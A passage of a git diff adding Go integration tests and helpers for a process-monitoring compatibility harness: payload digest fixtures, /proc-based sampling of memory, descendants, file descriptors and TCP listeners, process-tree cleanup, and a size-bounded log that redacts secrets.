binary.BigEndian.PutUint64(input[:8], uint64(seed)) + binary.BigEndian.PutUint64(input[8:], blockIndex) + block := sha256.Sum256(input[:]) + writeBytes := uint64(len(block)) + if remaining < writeBytes { + writeBytes = remaining + } + _, _ = hash.Write(block[:writeBytes]) + remaining -= writeBytes + } + var digest [sha256.Size]byte + copy(digest[:], hash.Sum(nil)) + return digest +} + +func TestFixture_RejectsPayloadOverrun(t *testing.T) { + // Given + _, constructorErr := NewPayload(contract.DefaultSeed, contract.TransferBytes+1) + + // When + _, verifierErr := VerifyPayload(bytes.NewReader([]byte("overrun")), 1) + _, declaredSizeErr := VerifyPayload(bytes.NewReader(nil), contract.TransferBytes+1) + + // Then + if !errors.Is(constructorErr, ErrPayloadOverrun) { + t.Fatalf("constructor error = %v", constructorErr) + } + if !errors.Is(verifierErr, ErrPayloadOverrun) { + t.Fatalf("verifier error = %v", verifierErr) + } + if !errors.Is(declaredSizeErr, ErrPayloadOverrun) { + t.Fatalf("declared size error = %v", declaredSizeErr) + } +} + +func TestFixture_PayloadChunkIndependence(t *testing.T) { + // Given + const size = 64 * 1024 + payload, err := NewPayload(contract.DefaultSeed, size) + requireNoFixtureError(t, err) + chunkSizes := []int{1, 1024, 1024 * 1024, 7919} + var baseline []byte + + for _, chunkSize := range chunkSizes { + // When + content := readPayloadWithChunkSize(t, payload.Reader(), chunkSize) + + // Then + if baseline == nil { + baseline = content + continue + } + if !bytes.Equal(content, baseline) { + t.Fatalf("payload changed with chunk size %d", chunkSize) + } + } +} + +func TestFixture_PayloadDigestStableAtBoundaries(t *testing.T) { + for _, size := range []uint64{0, 1, 1024 * 1024} { + t.Run(fmt.Sprintf("bytes_%d", size), func(t *testing.T) { + payload, err := NewPayload(contract.DefaultSeed, size) + requireNoFixtureError(t, err) + first, err := VerifyPayload(payload.Reader(), size) + requireNoFixtureError(t, err) + second, err := VerifyPayload(payload.Reader(), size) + requireNoFixtureError(t, err) + if first != second || first.Bytes != size { + t.Fatalf("digest unstable at %d bytes: %+v != %+v", size, first, second) + } + }) + } +} + +func TestFixture_VerifierRejectsShortPayload(t *testing.T) { + _, err := VerifyPayload(bytes.NewReader([]byte("short")), 6) + if !errors.Is(err, ErrPayloadSizeMismatch) { + t.Fatalf("short payload error = %v", err) + } +} + +func readPayloadWithChunkSize(t *testing.T, reader io.Reader, chunkSize int) []byte { + t.Helper() + buffer := make([]byte, chunkSize) + var content bytes.Buffer + for { + readBytes, err := reader.Read(buffer) + if readBytes > 0 { + _, writeErr := content.Write(buffer[:readBytes]) + requireNoFixtureError(t, writeErr) + } + if errors.Is(err, io.EOF) { + return content.Bytes() + } + requireNoFixtureError(t, err) + } +} diff --git a/integration/agentcompat/internal/process/cleanup.go b/integration/agentcompat/internal/process/cleanup.go new file mode 100644 index 00000000..36afb9b3 --- /dev/null +++ b/integration/agentcompat/internal/process/cleanup.go @@ -0,0 +1,46 @@ +//go:build linux + +package process + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" +) + +type CleanupRecord struct { + Name string `json:"name"` + PID int `json:"pid"` + Forced bool `json:"forced"` + Error string `json:"error,omitempty"` +} + +type CleanupReceipt struct { + Passed bool `json:"passed"` + Forced bool `json:"forced"` + Processes []CleanupRecord `json:"processes"` +} + +func NewCleanupReceipt(records []CleanupRecord) CleanupReceipt { + receipt := CleanupReceipt{Passed: true, Processes: append([]CleanupRecord(nil), records...)} + for _, record := range records { + receipt.Forced = receipt.Forced || record.Forced + receipt.Passed = receipt.Passed && record.Error == "" + } + return receipt +} + +func WriteCleanupReceipt(path string, receipt CleanupReceipt) error { + data, err := json.MarshalIndent(receipt, "", " ") + if err != nil { + return fmt.Errorf("marshal cleanup receipt: %w", err) + } + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + return fmt.Errorf("create cleanup receipt directory: %w", err) + } + if err := os.WriteFile(path, append(data, '\n'), 0o600); err != nil { + return fmt.Errorf("write cleanup receipt: %w", err) + } + return nil +} diff --git a/integration/agentcompat/internal/process/fd_path.go b/integration/agentcompat/internal/process/fd_path.go new file mode 100644 index 00000000..15675608 --- /dev/null +++ b/integration/agentcompat/internal/process/fd_path.go @@ -0,0 +1,37 @@ +//go:build linux + +package process + +import ( + "errors" + "os" + "path/filepath" + "strconv" + "strings" +) + +func ProcessHasOpenPath(pid int, path string) (bool, error) { + if pid < 1 || !filepath.IsAbs(path) { + return false, errors.New("invalid process path query") + } + directory := filepath.Join("/proc", strconv.Itoa(pid), "fd") + entries, err := os.ReadDir(directory) + if err != nil { + return false, err + } + wanted := filepath.Clean(path) + for _, entry := range entries { + target, err := os.Readlink(filepath.Join(directory, entry.Name())) + if err != nil { + if os.IsNotExist(err) { + continue + } + return false, err + } + target = strings.TrimSuffix(target, " (deleted)") + if filepath.IsAbs(target) && filepath.Clean(target) == wanted { + return true, nil + } + } + return false, nil +} diff --git a/integration/agentcompat/internal/process/fd_path_test.go b/integration/agentcompat/internal/process/fd_path_test.go new file mode 100644 index 00000000..f1e9d7c2 --- /dev/null +++ b/integration/agentcompat/internal/process/fd_path_test.go @@ -0,0 +1,30 @@ +//go:build linux + +package process + +import ( + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestProcessHasOpenPathTogglesWithDescriptorLifecycle(t *testing.T) { + // Given + path := filepath.Join(t.TempDir(), "dashboard.sqlite-journal") + require.NoError(t, os.WriteFile(path, []byte("journal"), 0o600)) + file, err := os.Open(path) + require.NoError(t, err) + + // When + held, err := ProcessHasOpenPath(os.Getpid(), path) + require.NoError(t, err) + require.NoError(t, file.Close()) + released, err := ProcessHasOpenPath(os.Getpid(), path) + + // Then + require.NoError(t, err) + require.True(t, held) + require.False(t, released) +} diff --git a/integration/agentcompat/internal/process/helper_test.go b/integration/agentcompat/internal/process/helper_test.go new file mode 100644 index 00000000..1c219ce4 --- /dev/null +++ b/integration/agentcompat/internal/process/helper_test.go @@ -0,0 +1,231 @@ +//go:build linux + +package process + +import ( + "bufio" + "context" + "errors" + "fmt" + "io" + "net" + "os" + "os/exec" + "os/signal" + "path/filepath" + "strconv" + "strings" + "syscall" + "testing" + "time" +) + +const ( + helperModeEnv = "NEZHA_AGENTCOMPAT_PROCESS_HELPER" + helperMarkerEnv = "NEZHA_AGENTCOMPAT_PROCESS_MARKER" + helperFDEnv = "NEZHA_AGENTCOMPAT_PROCESS_FD" +) + +func TestProcessHelper(t *testing.T) { + switch os.Getenv(helperModeEnv) { + case "": + return + case "clean": + fmt.Println("READY") + case "credential": + marker := os.Getenv(helperMarkerEnv) + if err := os.WriteFile(marker, []byte(fmt.Sprintf("%d:%d", os.Getuid(), os.Getgid())), 0o600); err != nil { + t.Fatal(err) + } + case "block": + fmt.Println("READY") + _, _ = io.Copy(io.Discard, os.Stdin) + case "tree": + runTreeHelper(t, false) + case "force-tree": + runTreeHelper(t, true) + case "grandchild": + runGrandchildHelper(t) + case "ignore-term-grandchild": + signal.Ignore(syscall.SIGTERM) + runGrandchildHelper(t) + case "ignore-term": + signal.Ignore(syscall.SIGTERM) + fmt.Println("READY") + waitForSignal(syscall.SIGINT) + case "listener": + runListenerHelper(t) + case "logs": + fmt.Println("READY") + fmt.Println("Authorization: Bearer eyJsecret.secret.secret password=top-secret") + fmt.Println(strings.Repeat("x", 1024)) + case "interrupt-probe": + runInterruptProbeHelper(t) + default: + t.Fatalf("unknown helper mode %q", os.Getenv(helperModeEnv)) + } +} + +func runInterruptProbeHelper(t *testing.T) { + t.Helper() + marker := os.Getenv(helperMarkerEnv) + ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGTERM) + defer stop() + supervisor := newHelperSupervisor(ctx, "tree", []string{helperMarkerEnv + "=" + marker}) + requireNoError(t, supervisor.Start()) + requireNoError(t, supervisor.WaitReady(t.Context())) + grandchildPID := readPID(t, marker) + if err := os.WriteFile(marker+".leader", []byte(strconv.Itoa(supervisor.PID())), 0o600); err != nil { + t.Fatal(err) + } + fmt.Println("PROBE_READY") + <-ctx.Done() + select { + case <-supervisor.cleanupDone: + case <-time.After(2 * time.Second): + t.Fatal("context cancellation did not complete process-tree cleanup") + } + requirePIDGone(t, supervisor.PID()) + requirePIDGone(t, grandchildPID) +} + +func runTreeHelper(t *testing.T, ignoreTermination bool) { + t.Helper() + child := exec.Command(os.Args[0], "-test.run=^TestProcessHelper$") + childMode := "grandchild" + if ignoreTermination { + childMode = "ignore-term-grandchild" + signal.Ignore(syscall.SIGTERM) + } + child.Env = append(os.Environ(), helperModeEnv+"="+childMode) + child.Stdout = os.Stdout + child.Stderr = os.Stderr + if err := child.Start(); err != nil { + t.Fatal(err) + } + if ignoreTermination { + waitForSignal(syscall.SIGINT) + _ = child.Wait() + return + } + waitForSignal(syscall.SIGTERM) + _ = child.Wait() +} + +func runGrandchildHelper(t *testing.T) { + t.Helper() + marker := os.Getenv(helperMarkerEnv) + if marker == "" { + t.Fatal("helper marker is empty") + } + if err := os.WriteFile(marker, []byte(strconv.Itoa(os.Getpid())), 0o600); err != nil { + t.Fatal(err) + } + fmt.Println("READY") + waitForSignal(syscall.SIGTERM) +} + +func runListenerHelper(t *testing.T) { + t.Helper() + descriptor, err := strconv.Atoi(os.Getenv(helperFDEnv)) + if err != nil { + t.Fatal(err) + } + file := os.NewFile(uintptr(descriptor), "inherited-listener") + listener, err := net.FileListener(file) + if err != nil { + t.Fatal(err) + } + _ = file.Close() + defer listener.Close() + fmt.Println("READY") + waitForSignal(syscall.SIGTERM) +} + +func waitForSignal(expected os.Signal) { + signals := make(chan os.Signal, 1) + signal.Notify(signals, expected) + defer signal.Stop(signals) + <-signals +} + +func newHelperSupervisor(ctx context.Context, mode string, environment []string) *Supervisor { + return NewSupervisor(ctx, Spec{ + Name: "helper-" + mode, + Path: os.Args[0], + Args: []string{"-test.run=^TestProcessHelper$"}, + Env: append(append(os.Environ(), helperModeEnv+"="+mode), environment...), + MaxLogBytes: 1024, + TerminateTimeout: 100 * time.Millisecond, + KillTimeout: time.Second, + Stdout: os.Stdout, + Stderr: os.Stderr, + Readiness: func(_ Stream, line string) bool { + return strings.Contains(line, "READY") + }, + }) +} + +func startBlockingHelper(t *testing.T) (*exec.Cmd, func()) { + t.Helper() + command := exec.Command(os.Args[0], "-test.run=^TestProcessHelper$") + command.Env = append(os.Environ(), helperModeEnv+"=block") + input, err := command.StdinPipe() + requireNoError(t, err) + output, err := command.StdoutPipe() + requireNoError(t, err) + requireNoError(t, command.Start()) + scanner := bufio.NewScanner(output) + if !scanner.Scan() || scanner.Text() != "READY" { + t.Fatalf("helper readiness = %q, err = %v", scanner.Text(), scanner.Err()) + } + return command, func() { _ = input.Close() } +} + +func startCleanHelper(t *testing.T) *exec.Cmd { + t.Helper() + command := exec.Command(os.Args[0], "-test.run=^TestProcessHelper$") + command.Env = append(os.Environ(), helperModeEnv+"=clean") + requireNoError(t, command.Start()) + return command +} + +func reapHelper(command *exec.Cmd) { + if command.ProcessState == nil { + _ = command.Process.Kill() + _ = command.Wait() + } +} + +func readPID(t *testing.T, path string) int { + t.Helper() + data, err := os.ReadFile(path) + requireNoError(t, err) + pid, err := strconv.Atoi(strings.TrimSpace(string(data))) + requireNoError(t, err) + return pid +} + +func requirePIDGone(t *testing.T, pid int) { + t.Helper() + _, err := os.Stat(filepath.Join("/proc", strconv.Itoa(pid))) + if !errors.Is(err, os.ErrNotExist) { + t.Fatalf("PID %d remains: %v", pid, err) + } +} + +func containsPID(pids []int, target int) bool { + for _, pid := range pids { + if pid == target { + return true + } + } + return false +} + +func requireNoError(t *testing.T, err error) { + t.Helper() + if err != nil { + t.Fatal(err) + } +} diff --git a/integration/agentcompat/internal/process/log.go b/integration/agentcompat/internal/process/log.go new file mode 100644 index 00000000..38fb2648 --- /dev/null +++ b/integration/agentcompat/internal/process/log.go @@ -0,0 +1,127 @@ +//go:build linux + +package process + +import ( + "bytes" + "errors" + "fmt" + "io" + "sync" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/evidence" +) + +const truncationMarker = "[TRUNCATED]\n" + +type boundedLog struct { + mu sync.Mutex + destination io.Writer + maxBytes int + written int + pending []byte + dropLine bool + truncated bool + closed bool + onLine func(string) + writeErr error +} + +func newBoundedLog(destination io.Writer, maxBytes int, onLine func(string)) *boundedLog { + return &boundedLog{destination: destination, maxBytes: maxBytes, onLine: onLine} +} + +func (log *boundedLog) Write(data []byte) (int, error) { + log.mu.Lock() + defer log.mu.Unlock() + if log.closed { + return 0, errors.New("write closed process log") + } + inputLength := len(data) + for len(data) > 0 { + newline := bytes.IndexByte(data, '\n') + if newline < 0 { + log.appendFragment(data) + break + } + log.appendFragment(data[:newline+1]) + if err := log.flushLine(); err != nil { + return 0, err + } + data = data[newline+1:] + } + return inputLength, nil +} + +func (log *boundedLog) appendFragment(fragment []byte) { + if log.dropLine { + return + } + if len(log.pending)+len(fragment) > log.maxBytes { + log.pending = nil + log.dropLine = true + log.truncated = true + return + } + log.pending = append(log.pending, fragment...) +} + +func (log *boundedLog) flushLine() error { + if log.dropLine { + log.dropLine = false + return log.writeMarker() + } + redacted := evidence.Redact(string(log.pending)) + log.pending = nil + if log.onLine != nil { + log.onLine(redacted) + } + if len(redacted) > log.maxBytes-log.written { + log.truncated = true + return log.writeMarker() + } + if log.destination != nil && redacted != "" { + written, err := io.WriteString(log.destination, redacted) + log.written += written + if err != nil { + log.writeErr = fmt.Errorf("write process log: %w", err) + return log.writeErr + } + } + return nil +} + +func (log *boundedLog) writeMarker() error { + if log.destination == nil || log.written >= log.maxBytes { + return nil + } + marker := truncationMarker + if len(marker) > log.maxBytes-log.written { + marker = marker[:log.maxBytes-log.written] + } + written, err := io.WriteString(log.destination, marker) + log.written += written + if err != nil { + log.writeErr = fmt.Errorf("write process log marker: %w", err) + return log.writeErr + } + return nil +} + +func (log *boundedLog) Close() { + log.mu.Lock() + defer log.mu.Unlock() + if log.closed { + return + } + if len(log.pending) > 0 || log.dropLine { + _ = log.flushLine() + } + log.closed = true +} + +func (log *boundedLog) Truncated() bool { + log.mu.Lock() + defer log.mu.Unlock() + return log.truncated +} diff --git a/integration/agentcompat/internal/process/proc.go b/integration/agentcompat/internal/process/proc.go new file mode 100644 index 00000000..6083d057 --- /dev/null +++ b/integration/agentcompat/internal/process/proc.go @@ -0,0 +1,194 @@ +//go:build linux + +package process + +import ( + "bufio" + "errors" + "fmt" + "os" + "path/filepath" + "sort" + "strconv" + "strings" + "syscall" +) + +func readRSSBytes(pid int) (uint64, error) { + path := filepath.Join(strconv.Itoa(pid), "status") + procRoot, err := os.OpenRoot("/proc") + if err != nil { + return 0, err + } + defer procRoot.Close() + file, err := procRoot.Open(path) + if err != nil { + return 0, err + } + defer file.Close() + scanner := bufio.NewScanner(file) + for scanner.Scan() { + fields := strings.Fields(scanner.Text()) + if len(fields) == 3 && fields[0] == "VmRSS:" && fields[2] == "kB" { + kilobytes, err := strconv.ParseUint(fields[1], 10, 64) + if err != nil { + return 0, fmt.Errorf("parse VmRSS: %w", err) + } + return kilobytes * 1024, nil + } + } + if err := scanner.Err(); err != nil { + return 0, fmt.Errorf("read %s: %w", path, err) + } + return 0, errors.New("VmRSS not found") +} + +func descendantPIDs(rootPID int) ([]int, error) { + entries, err := os.ReadDir("/proc") + if err != nil { + return nil, fmt.Errorf("read /proc: %w", err) + } + children := make(map[int][]int) + for _, entry := range entries { + pid, err := strconv.Atoi(entry.Name()) + if err != nil || !entry.IsDir() { + continue + } + parentPID, err := readParentPID(pid) + if err != nil { + // /proc is a live snapshot: an unrelated process can disappear + // between ReadDir and reading stat. Root PID reads stay strict. + if os.IsNotExist(err) || errors.Is(err, syscall.ESRCH) { + continue + } + return nil, err + } + children[parentPID] = append(children[parentPID], pid) + } + descendants := make([]int, 0) + queue := append([]int(nil), children[rootPID]...) + for len(queue) > 0 { + pid := queue[0] + queue = queue[1:] + descendants = append(descendants, pid) + queue = append(queue, children[pid]...) + } + sort.Ints(descendants) + return descendants, nil +} + +func readParentPID(pid int) (int, error) { + path := filepath.Join(strconv.Itoa(pid), "stat") + procRoot, err := os.OpenRoot("/proc") + if err != nil { + return 0, err + } + defer procRoot.Close() + data, err := procRoot.ReadFile(path) + if err != nil { + return 0, err + } + closingParenthesis := strings.LastIndexByte(string(data), ')') + if closingParenthesis < 0 { + return 0, fmt.Errorf("parse %s: missing command terminator", path) + } + fields := strings.Fields(string(data[closingParenthesis+1:])) + if len(fields) < 2 { + return 0, fmt.Errorf("parse %s: missing parent PID", path) + } + parentPID, err := strconv.Atoi(fields[1]) + if err != nil { + return 0, fmt.Errorf("parse %s parent PID: %w", path, err) + } + return parentPID, nil +} + +type FDObservation struct { + Number int + Target string +} + +func processFDs(pid int, captureObservations bool) (int, map[uint64]struct{}, []FDObservation, error) { + directory := filepath.Join("/proc", strconv.Itoa(pid), "fd") + entries, err := os.ReadDir(directory) + if err != nil { + return 0, nil, nil, err + } + count := 0 + sockets := make(map[uint64]struct{}) + var observations []FDObservation + if captureObservations { + observations = make([]FDObservation, 0, len(entries)) + } + for _, entry := range entries { + descriptor, err := strconv.Atoi(entry.Name()) + if err != nil || descriptor < 3 { + continue + } + target, err := os.Readlink(filepath.Join(directory, entry.Name())) + if err != nil { + if os.IsNotExist(err) { + continue + } + return 0, nil, nil, err + } + count++ + if captureObservations { + observations = append(observations, FDObservation{Number: descriptor, Target: target}) + } + if inode, exists := parseSocketInode(target); exists { + sockets[inode] = struct{}{} + } + } + if captureObservations { + sort.Slice(observations, func(left, right int) bool { + return observations[left].Number < observations[right].Number || (observations[left].Number == observations[right].Number && observations[left].Target < observations[right].Target) + }) + } + return count, sockets, observations, nil +} + +func parseSocketInode(target string) (uint64, bool) { + if !strings.HasPrefix(target, "socket:[") || !strings.HasSuffix(target, "]") { + return 0, false + } + inode, err := strconv.ParseUint(strings.TrimSuffix(strings.TrimPrefix(target, "socket:["), "]"), 10, 64) + return inode, err == nil +} + +func listeningSocketInodes(pid int, protocol string) (map[uint64]struct{}, error) { + if protocol != "tcp" && protocol != "tcp6" { + return nil, errors.New("unsupported proc network protocol") + } + path := filepath.Join(strconv.Itoa(pid), "net", protocol) + procRoot, err := os.OpenRoot("/proc") + if err != nil { + return nil, err + } + defer procRoot.Close() + file, err := procRoot.Open(path) + if err != nil { + return nil, err + } + defer file.Close() + listeners := make(map[uint64]struct{}) + scanner := bufio.NewScanner(file) + if scanner.Scan() { + // Skip the stable kernel table header. + } + for scanner.Scan() { + fields := strings.Fields(scanner.Text()) + if len(fields) < 10 || fields[3] != "0A" { + continue + } + inode, err := strconv.ParseUint(fields[9], 10, 64) + if err != nil { + return nil, fmt.Errorf("parse %s listener inode: %w", path, err) + } + listeners[inode] = struct{}{} + } + if err := scanner.Err(); err != nil { + return nil, fmt.Errorf("read %s: %w", path, err) + } + return listeners, nil +} diff --git a/integration/agentcompat/internal/process/sampler.go b/integration/agentcompat/internal/process/sampler.go new file mode 100644 index 00000000..e644d2ca --- /dev/null +++ b/integration/agentcompat/internal/process/sampler.go @@ -0,0 +1,122 @@ +//go:build linux + +package process + +import ( + "context" + "errors" + "fmt" + "os" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +type Sample struct { + PID int `json:"pid"` + RSSBytes uint64 `json:"rss_bytes"` + DescendantPIDs []int `json:"descendant_pids"` + DescendantCount int `json:"descendant_count"` + NonStdioFDCount int `json:"non_stdio_fd_count"` + TCPListenerCount int `json:"tcp_listener_count"` + TCP6ListenerCount int `json:"tcp6_listener_count"` + FDObservations []FDObservation `json:"-"` + SampledAt time.Time `json:"-"` +} + +type Window struct { + PID int `json:"pid"` + Samples []Sample `json:"samples"` +} + +type WindowSpec struct { + PID int + Interval time.Duration + AllowTerminated bool + CaptureFDObservations bool + ObserveSample func(context.Context, Sample) error +} + +func SampleProcess(pid int) (Sample, error) { + return sampleProcess(pid, false) +} + +func SampleProcessWithFDObservations(pid int) (Sample, error) { + return sampleProcess(pid, true) +} + +func sampleProcess(pid int, captureFDObservations bool) (Sample, error) { + rssBytes, err := readRSSBytes(pid) + if err != nil { + return Sample{}, err + } + descendants, err := descendantPIDs(pid) + if err != nil { + return Sample{}, err + } + fdCount, socketInodes, fdObservations, err := processFDs(pid, captureFDObservations) + if err != nil { + return Sample{}, err + } + tcpListeners, err := listeningSocketInodes(pid, "tcp") + if err != nil { + return Sample{}, err + } + tcp6Listeners, err := listeningSocketInodes(pid, "tcp6") + if err != nil { + return Sample{}, err + } + return Sample{ + PID: pid, + RSSBytes: rssBytes, + DescendantPIDs: descendants, + DescendantCount: len(descendants), + NonStdioFDCount: fdCount, + TCPListenerCount: intersectionCount(socketInodes, tcpListeners), + TCP6ListenerCount: intersectionCount(socketInodes, tcp6Listeners), + FDObservations: fdObservations, + SampledAt: time.Now(), + }, nil +} + +func SampleWindow(ctx context.Context, spec WindowSpec) (Window, error) { + if spec.PID < 1 || spec.Interval <= 0 { + return Window{}, errors.New("invalid sample window specification") + } + window := Window{PID: spec.PID, Samples: make([]Sample, 0, contract.ResourceSampleCount)} + for index := 0; index < contract.ResourceSampleCount; index++ { + if index > 0 { + timer := time.NewTimer(spec.Interval) + select { + case <-timer.C: + case <-ctx.Done(): + timer.Stop() + return Window{}, ctx.Err() + } + } + sample, err := sampleProcess(spec.PID, spec.CaptureFDObservations) + if err != nil { + if spec.AllowTerminated && os.IsNotExist(err) { + return window, nil + } + return Window{}, fmt.Errorf("sample %d of PID %d: %w", index+1, spec.PID, err) + } + window.Samples = append(window.Samples, sample) + if spec.ObserveSample != nil { + if err := spec.ObserveSample(ctx, sample); err != nil { + return window, err + } + } + } + return window, nil +} + +func intersectionCount(left, right map[uint64]struct{}) int { + count := 0 + for value := range left { + if _, exists := right[value]; exists { + count++ + } + } + return count +} diff --git a/integration/agentcompat/internal/process/sampler_fd_observations_test.go b/integration/agentcompat/internal/process/sampler_fd_observations_test.go new file mode 100644 index 00000000..071bb9c7 --- /dev/null +++ b/integration/agentcompat/internal/process/sampler_fd_observations_test.go @@ -0,0 +1,45 @@ +//go:build linux + +package process + +import ( + "context" + "encoding/json" + "os" + "testing" + "time" +) + +func TestSampleProcessWithFDObservations_CapturesEverySuccessfulNonStdioReadlink(t *testing.T) { + // Given / When + sample, err := SampleProcessWithFDObservations(os.Getpid()) + + // Then + requireNoError(t, err) + if len(sample.FDObservations) != sample.NonStdioFDCount { + t.Fatalf("FD observations = %d, non-stdio FD count = %d", len(sample.FDObservations), sample.NonStdioFDCount) + } + if sample.SampledAt.IsZero() { + t.Fatal("sampled at is zero") + } + encoded, err := json.Marshal(sample) + requireNoError(t, err) + var evidence map[string]json.RawMessage + requireNoError(t, json.Unmarshal(encoded, &evidence)) + if _, exists := evidence["sampled_at"]; exists { + t.Fatalf("sampled_at leaked into evidence JSON: %s", encoded) + } +} + +func TestSampleWindowWithFDObservations_RecordsCompletionTimeForEverySample(t *testing.T) { + // Given / When + window, err := SampleWindow(context.Background(), WindowSpec{PID: os.Getpid(), Interval: time.Nanosecond, CaptureFDObservations: true}) + + // Then + requireNoError(t, err) + for index, sample := range window.Samples { + if sample.SampledAt.IsZero() { + t.Fatalf("sample %d sampled at is zero", index+1) + } + } +} diff --git a/integration/agentcompat/internal/process/sampler_test.go b/integration/agentcompat/internal/process/sampler_test.go new file mode 100644 index 00000000..057a3df7 --- /dev/null +++ b/integration/agentcompat/internal/process/sampler_test.go @@ -0,0 +1,305 @@ +//go:build linux + +package process + +import ( + "context" + "encoding/json" + "errors" + "net" + "os" + "os/exec" + "reflect" + "sort" + "strconv" + "testing" + "time" +) + +func TestSampler_ReadsRSS(t *testing.T) { + // Given / When + sample, err := SampleProcess(os.Getpid()) + + // Then + requireNoError(t, err) + if sample.RSSBytes == 0 { + t.Fatal("RSS is zero") + } +} + +func TestSampler_CountsDescendants(t *testing.T) { + // Given + child, closeInput := startBlockingHelper(t) + defer closeInput() + defer reapHelper(child) + + // When + sample, err := SampleProcess(os.Getpid()) + + // Then + requireNoError(t, err) + if !containsPID(sample.DescendantPIDs, child.Process.Pid) { + t.Fatalf("descendants = %v, want PID %d", sample.DescendantPIDs, child.Process.Pid) + } +} + +func TestSampler_CountsNonStdioFDs(t *testing.T) { + // Given + baseline, err := SampleProcess(os.Getpid()) + requireNoError(t, err) + file, err := os.Open("/proc/self/status") + requireNoError(t, err) + t.Cleanup(func() { _ = file.Close() }) + + // When + sample, err := SampleProcess(os.Getpid()) + + // Then + requireNoError(t, err) + if sample.NonStdioFDCount != baseline.NonStdioFDCount+1 { + t.Fatalf("non-stdio FDs = %d, baseline = %d", sample.NonStdioFDCount, baseline.NonStdioFDCount) + } +} + +func TestSampleProcess_DoesNotCaptureFDObservationsByDefault(t *testing.T) { + // Given / When + sample, err := SampleProcess(os.Getpid()) + + // Then + requireNoError(t, err) + if sample.FDObservations != nil { + t.Fatalf("SampleProcess FD observations = %v, want nil", sample.FDObservations) + } +} + +func TestSampleWindow_DoesNotCaptureFDObservationsByDefault(t *testing.T) { + // Given / When + window, err := SampleWindow(t.Context(), WindowSpec{PID: os.Getpid(), Interval: time.Millisecond}) + + // Then + requireNoError(t, err) + for index, windowSample := range window.Samples { + if windowSample.FDObservations != nil { + t.Fatalf("sample %d FD observations = %v, want nil", index+1, windowSample.FDObservations) + } + } +} + +func TestSampleWindow_CapturesFDObservationsAcrossKnownFileLifecycle(t *testing.T) { + // Given + file, err := os.Open("/proc/self/status") + requireNoError(t, err) + t.Cleanup(func() { _ = file.Close() }) + descriptor := int(file.Fd()) + target, err := os.Readlink("/proc/self/fd/" + strconv.Itoa(descriptor)) + requireNoError(t, err) + observed := 0 + + // When + window, err := SampleWindow(t.Context(), WindowSpec{ + PID: os.Getpid(), + Interval: time.Millisecond, + CaptureFDObservations: true, + ObserveSample: func(_ context.Context, sample Sample) error { + if observed == 0 { + if err := file.Close(); err != nil { + return err + } + } + observed++ + return nil + }, + }) + + // Then + requireNoError(t, err) + if len(window.Samples) != 5 || observed != 5 { + t.Fatalf("samples = %d, observed = %d, want 5", len(window.Samples), observed) + } + firstSampleContainsOpenedFile := false + for _, observation := range window.Samples[0].FDObservations { + if observation.Number == descriptor && observation.Target == target { + firstSampleContainsOpenedFile = true + break + } + } + if !firstSampleContainsOpenedFile { + t.Fatalf("sample 1 observations = %v, want FD %d target %q", window.Samples[0].FDObservations, descriptor, target) + } + for index, sample := range window.Samples { + if len(sample.FDObservations) != sample.NonStdioFDCount { + t.Fatalf("sample %d observations = %d, non-stdio FDs = %d", index+1, len(sample.FDObservations), sample.NonStdioFDCount) + } + if !sort.SliceIsSorted(sample.FDObservations, func(left, right int) bool { + leftObservation := sample.FDObservations[left] + rightObservation := sample.FDObservations[right] + return leftObservation.Number < rightObservation.Number || (leftObservation.Number == rightObservation.Number && leftObservation.Target < rightObservation.Target) + }) { + t.Fatalf("sample %d FD observations are not sorted: %v", index+1, sample.FDObservations) + } + if index > 0 { + for _, observation := range sample.FDObservations { + if observation.Number == descriptor { + t.Fatalf("sample %d observations unexpectedly retain closed FD %d: %v", index+1, descriptor, sample.FDObservations) + } + } + } + } + encoded, err := json.Marshal(window.Samples[0]) + requireNoError(t, err) + var evidence map[string]json.RawMessage + requireNoError(t, json.Unmarshal(encoded, &evidence)) + if _, exists := evidence["fd_observations"]; exists { + t.Fatalf("JSON evidence includes FD observations: %s", encoded) + } +} + +func TestSampler_CountsTCPListeners(t *testing.T) { + // Given + baseline, err := SampleProcess(os.Getpid()) + requireNoError(t, err) + listener, err := net.Listen("tcp4", "127.0.0.1:0") + requireNoError(t, err) + t.Cleanup(func() { _ = listener.Close() }) + + // When + sample, err := SampleProcess(os.Getpid()) + + // Then + requireNoError(t, err) + if sample.TCPListenerCount != baseline.TCPListenerCount+1 { + t.Fatalf("TCP listeners = %d, baseline = %d", sample.TCPListenerCount, baseline.TCPListenerCount) + } +} + +func TestSampler_CountsTCP6Listeners(t *testing.T) { + // Given + baseline, err := SampleProcess(os.Getpid()) + requireNoError(t, err) + listener, err := net.Listen("tcp6", "[::1]:0") + if err != nil { + t.Skipf("IPv6 loopback listener unavailable: %v", err) + } + t.Cleanup(func() { _ = listener.Close() }) + + // When + sample, err := SampleProcess(os.Getpid()) + + // Then + requireNoError(t, err) + if sample.TCP6ListenerCount != baseline.TCP6ListenerCount+1 { + t.Fatalf("TCP6 listeners = %d, baseline = %d", sample.TCP6ListenerCount, baseline.TCP6ListenerCount) + } +} + +func TestSampler_CollectsFiveSampleWindow(t *testing.T) { + // Given + ctx, cancel := context.WithTimeout(t.Context(), time.Second) + defer cancel() + + // When + window, err := SampleWindow(ctx, WindowSpec{PID: os.Getpid(), Interval: time.Millisecond}) + + // Then + requireNoError(t, err) + if len(window.Samples) != 5 { + t.Fatalf("samples = %d, want 5", len(window.Samples)) + } +} + +func TestSampleWindow_InvokesObserverAfterEachSuccessfulAppend(t *testing.T) { + // Given + observed := make([]Sample, 0, 5) + + // When + window, err := SampleWindow(t.Context(), WindowSpec{PID: os.Getpid(), Interval: time.Millisecond, ObserveSample: func(_ context.Context, sample Sample) error { + observed = append(observed, sample) + return nil + }}) + + // Then + requireNoError(t, err) + if len(window.Samples) != 5 || len(observed) != 5 { + t.Fatalf("samples = %d, observed = %d, want 5", len(window.Samples), len(observed)) + } + for index := range window.Samples { + if !reflect.DeepEqual(window.Samples[index], observed[index]) { + t.Fatalf("sample %d was not observed after append", index+1) + } + } +} + +func TestSampleWindow_ReturnsAppendedSampleWhenObserverFails(t *testing.T) { + // Given + observerErr := errors.New("observer failed") + calls := 0 + + // When + window, err := SampleWindow(t.Context(), WindowSpec{PID: os.Getpid(), Interval: time.Millisecond, ObserveSample: func(context.Context, Sample) error { + calls++ + return observerErr + }}) + + // Then + if 